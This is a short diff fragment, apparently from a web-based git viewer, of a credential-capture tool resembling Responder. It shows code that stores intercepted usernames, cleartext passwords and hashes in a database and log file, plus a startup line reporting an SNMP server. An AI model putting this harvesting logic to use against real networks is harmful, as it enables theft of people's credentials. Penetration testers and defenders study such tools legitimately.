cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
|
|
||||||
if settings.Config.CaptureMultipleHashFromSameHost:
|
if not count or settings.Config.CaptureMultipleHashFromSameHost:
|
||||||
with open(logfile,"a") as outf:
|
with open(logfile,"a") as outf:
|
||||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||||
@@ -515,6 +509,7 @@ def StartupMessage():
|
|||||||
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
||||||
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
|
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
|
||||||
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
|
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
|
||||||
|
print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled))
|
||||||
print('')
|
print('')
|
||||||
|
|
||||||
print(color("[+] ", 2, 1) + "HTTP Options:")
|
print(color("[+] ", 2, 1) + "HTTP Options:")
|
||||||
|
|||||||
Reference in New Issue
Block a user